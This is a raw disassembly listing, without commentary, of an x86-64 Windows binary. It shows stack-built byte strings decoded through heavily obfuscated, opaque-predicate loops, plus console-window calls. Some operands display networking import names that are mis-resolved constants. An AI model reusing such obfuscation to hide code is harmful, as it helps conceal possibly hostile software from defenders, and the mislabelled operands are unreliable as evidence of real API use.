jmp 0x1400c56d0
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c56c2
lea rdx, [rbp + 0x1457760]
jmp 0x1400c624d
lea rdx, [rbp + 0x1069d44]
jmp 0x1400c624d
lea rdx, [rbp + 0x230]
mov rcx, qword [0x14022c178]
call fcn.1400c79c0
mov r14, qword [0x14022c178]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x560], 0x5b
mov byte [rbp + 0x561], reloc.WS2_32.dll_listen
mov byte [rbp + 0x562], reloc.WS2_32.dll_listen
mov byte [rbp + 0x563], 8
mov byte [rbp + 0x564], reloc.WS2_32.dll_listen
mov byte [rbp + 0x565], 3
mov byte [rbp + 0x566], 9
mov byte [rbp + 0x567], 0xb7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x569], 6
mov byte [rbp + 0x56a], 4
mov byte [rbp + 0x56b], 0
mov byte [rbp + 0x56c], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x56d], Ordinal_30
mov byte [rbp + 0x56e], reloc.WS2_32.dll_send
mov byte [rbp + 0x56f], 0xaf
mov byte [rbp + 0x570], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x571], Ordinal_35
mov byte [rbp + 0x572], 0xaa
mov byte [rbp + 0x573], 0x58
mov byte [rbp + 0x574], 0xa4
mov byte [rbp + 0x575], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x576], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x577], 0x64
mov byte [rbp + 0x578], reloc.WS2_32.dll_socket
mov byte [rbp + 0x579], reloc.WS2_32.dll_socket
mov byte [rbp + 0x57a], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x57b], reloc.WS2_32.dll_recv
mov byte [rbp + 0x57c], WSASetLastError
mov byte [rbp + 0x57d], WSASetLastError
mov byte [rbp + 0x57e], 0x68
mov byte [rbp + 0x57f], 0x85
mov byte [rbp + 0x580], 0xb8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x581], xmm0
movups xmmword [rbp + 0x591], xmm0
mov word [rbp + 0x5a1], ax
movabs r15, 0x602aa2ab71e15fc4
movabs r12, 0x617fb80700ec5de4
movabs r13, 0x207fe80255a41f4c
movzx ebx, byte [rsp + 0x31]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x43
jae 0x1400c7084
movzx r10d, byte [rbp + rdi + 0x560]
mov esi, r10d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400c7078
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c63ff
lea rcx, [rdi + r15]
mov rax, rsi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rsi
add rbx, rcx
sub bl, 0x5c
jmp 0x1400c6453
je 0x1400c7006
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6f72
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c6f46
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c6f26
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6ee1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6ec2
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c6e78
movzx r11d, dil
cmp r9, rdi
ja 0x1400c706c
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400c6488
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c64e3
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c6e5e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6e38
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c6e1e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6dfe
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c6de3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c6dc7
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c6d9a
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c6a57
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c6a39
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6a14
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c69ee
lea rcx, [r9 + 0x40]
cmp r8, rcx
je 0x1400c69d0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c69b1
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c6995
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c6977
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c6957
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c692a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c64f0
mov r8, rcx
lea r9, [rcx + 0x41]
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400c7050
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400c7030
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400c66dd
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400c66c3
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400c66a5
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400c68db
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x1400c6896
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400c6858
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400c682e
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400c64f0
lea r8, [r9 + 0x20]
lea r9, [r8 + 5]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c67fd
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c67df
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c67c3
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x1400c67a3
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c6784
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c6768
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c6742
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c6719
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c66fd
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c64f0
mov r8, rcx
lea r9, [rcx + 0x28]
jmp 0x1400c64f0
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c64e3
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3c
jmp 0x1400c6457
add r11b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c63d0
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x1400c6e95
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c63b2
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c63b2
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1400c6efe
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
add r8, r9
jmp 0x1400c6f5a
sub r11b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c6f5a
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x10
add bl, dl
jmp 0x1400c6f96
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x58
add bl, r11b
jmp 0x1400c6fc2
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
sub r11b, 0x74
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x560], bl
inc rdi
jmp 0x1400c63b2
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1c
cmp r9, 0x400
jb 0x1400c6849
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x50]
jmp 0x1400c6e95
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x64
cmp r8, 0x61
jae 0x1400c6d65
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c6c81
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x78
add bl, dl
jmp 0x1400c686d
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400c6d84
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400c6b95
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c68ab
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c6fc2
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6f96
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
jmp 0x1400c6f5a
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
add r8, r9
jmp 0x1400c6f5a
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6efe
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c63b2
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400c63b2
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6e95
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c6a7e
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5c
jmp 0x1400c68f4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6ab4
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c6adf
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6f96
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6b08
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
jmp 0x1400c6f5a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c6b38
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x1400c6f5a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c6b6a
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400c63b2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c68f4
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6e95
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6bc0
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6e95
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6bef
add r11b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x14
dec rdi
inc rdi
jmp 0x1400c63b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c6c1f
add r11b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
add r8, r9
jmp 0x1400c6f5a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c6c47
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c6f93
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c68ab
add r11b, 0x7c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x64
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6cb7
add r11b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
inc rax
cmp r8, rax
jne 0x1400c6ce3
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c6fc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c6d0e
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6f96
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6d3a
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
add r8, r9
jmp 0x1400c6f5a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c686d
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c6efe
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x60
add bl, r10b
add bl, dl
jmp 0x1400c6efe
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x18]
jmp 0x1400c6f96
sub r11b, 0x24
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 4
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
add r11b, 0x54
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x4c
jmp 0x1400c6fc2
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c6f93
add r11b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c6f5a
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6c
jmp 0x1400c6efe
sub r11b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400c63b2
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x44
jmp 0x1400c6e95
movzx r11d, dil
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
sub r11b, 0x24
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 4
add r11b, r10b
mov byte [rbp + rdi + 0x560], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c63b2
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x64
dec rdi
inc rdi
jmp 0x1400c63b2
movzx r11d, dil
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x560], cl
add r8, r9
jmp 0x1400c6f5a
lea edx, [rdi + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
jmp 0x1400c6f5a
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea ebx, [r10 + rax]
sub bl, 0x3c
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c63b2
movabs rax, 0xa12a72b01d299e5c
add rax, rdi
and sil, al
mov ecx, 0x3e
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
movzx r11d, dil
add bl, r10b
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x74
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x560], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x560], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
lea rax, [rdi + r13]
and sil, al
add sil, sil
sub al, sil
lea ebx, [r10 + rax]
sub bl, 0x14
movzx eax, byte [rbp + rdi + 0x560]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c63b2
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c63b0
add r11b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x14
jmp 0x1400c63a0
lea rdx, [rbp + 0x16c5d10]
jmp 0x1400c708b
lea rdx, [rbp + 0x8dbcd4]
jmp 0x1400c708b
lea rdx, [rbp + 0x560]
mov rcx, r14
call fcn.1400648b0
mov byte [rbp + 0x158], 0xf8
mov byte [rbp + 0x159], Ordinal_79
mov byte [rbp + 0x15a], 0xb2
mov byte [rbp + 0x15b], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x15c], xmm0
mov qword [rbp + 0x16c], rax
mov dword [rbp + 0x174], eax
mov byte [rbp + 0x178], al
movabs r15, 0x5d7d4d468896b1c8
movabs r12, 0x4967b77acd4c4008
movabs r13, 0x1877e7d399c41558
movzx ebx, byte [rsp + 0x31]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor r11d, r11d
cmp r11, 0x21
jae 0x1400c796a
movzx r10d, byte [rbp + r11 + 0x158]
mov r14d, r10d
nop dword [rax]
mov rsi, r9
mov rdi, r8
cmp r8, r11
ja 0x1400c795f
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c7155
lea rcx, [r11 + r15]
mov rax, r14
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r14
add rbx, rcx
sub bl, 0x78
jmp 0x1400c718f
je 0x1400c790d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7879
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c784d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c7830
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c77f0
nop
cmp rsi, r11
ja 0x1400c7954
lea r8, [r9 + 1]
lea rax, [r9 + 0x5a]
cmp rdi, rax
jae 0x1400c71c5
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c7200
cmp rdi, r8
je 0x1400c77a5
lea rax, [r8 + 1]
cmp rdi, rax
je 0x1400c777e
lea rax, [r9 + 7]
cmp rdi, rax
je 0x1400c7761
lea rax, [r9 + 6]
cmp rdi, rax
je 0x1400c7732
nop word [rax + rax]
lea rdx, [rdi + r9]
cmp rdx, r11
jbe 0x1400c73ea
mov r8, rdi
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c73dc
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c73be
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c73a4
lea r8, [r9 + 0x42]
lea r9, [r8 + 6]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c7938
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c72a9
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c7339
lea r8, [r9 + 4]
lea r9, [r8 + 0x28]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c730d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c72f3
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c72d1
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c72c3
lea r8, [r9 + 0x400]
lea r9, [r8 + 2]
jmp 0x1400c7210
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x1400c7120
lea edx, [r11 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400c77b1
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx edx, r11b
jmp 0x1400c7808
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
jmp 0x1400c78c6
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x40
movzx eax, byte [rbp + r11 + 0x158]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c7103
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 8
cmp r8, 2
jae 0x1400c76f0
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c7613
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
cmp r9, 9
jb 0x1400c76e0
lea ecx, [r11 - 0x50]
movzx eax, cl
and al, r10b
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea ebx, [rdx + rdx]
jmp 0x1400c77c1
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
jmp 0x1400c78c6
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
movzx edx, r11b
jmp 0x1400c7808
lea edx, [r11 - 0x10]
mov ecx, gethostname
jmp 0x1400c77b1
lea rax, [r9 + 0x7a]
cmp rdi, rax
jae 0x1400c744e
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
lea r9, [r8 + 1]
lea rcx, [rsi + 3]
cmp rdx, 0x28
je 0x1400c7711
lea rax, [rsi + 0x1000]
cmp rdi, rax
jbe 0x1400c757d
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov r8, rdi
mov r9, rsi
jmp 0x1400c734e
cmp rdi, r8
jne 0x1400c748a
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov r8, rdi
movzx eax, byte [rbp + r11 + 0x158]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c7103
lea r9, [r8 + 1]
cmp rdi, r9
jne 0x1400c74bb
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov r8, rdi
mov r9, rsi
jmp 0x1400c78c6
lea rcx, [rsi + 3]
cmp rdi, rcx
jne 0x1400c74ec
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov r8, rdi
mov r9, rsi
jmp 0x1400c7898
lea rax, [rsi + 2]
cmp rdi, rax
jne 0x1400c751d
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
movzx edx, r11b
mov r8, rdi
mov r9, rsi
jmp 0x1400c7808
lea rax, [rsi + 7]
cmp rdi, rax
jne 0x1400c7550
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
mov r8, rdi
mov r9, rsi
dec r11
inc r11
jmp 0x1400c7103
lea rax, [rsi + 5]
cmp rdi, rax
jne 0x1400c7410
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
mov r8, rdi
mov r9, rsi
jmp 0x1400c77c1
cmp rdi, r8
jne 0x1400c7597
lea edx, [r11 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
mov r9, rsi
jmp 0x1400c77ae
mov r8, rdi
cmp rdi, r9
mov r9, rsi
jne 0x1400c75c6
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
dec r11
inc r11
jmp 0x1400c7103
cmp rdi, rcx
jne 0x1400c75ec
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
add r8, r9
jmp 0x1400c7861
lea rax, [rsi + 5]
cmp rdi, rax
jne 0x1400c734e
lea ecx, [r11 - 0x68]
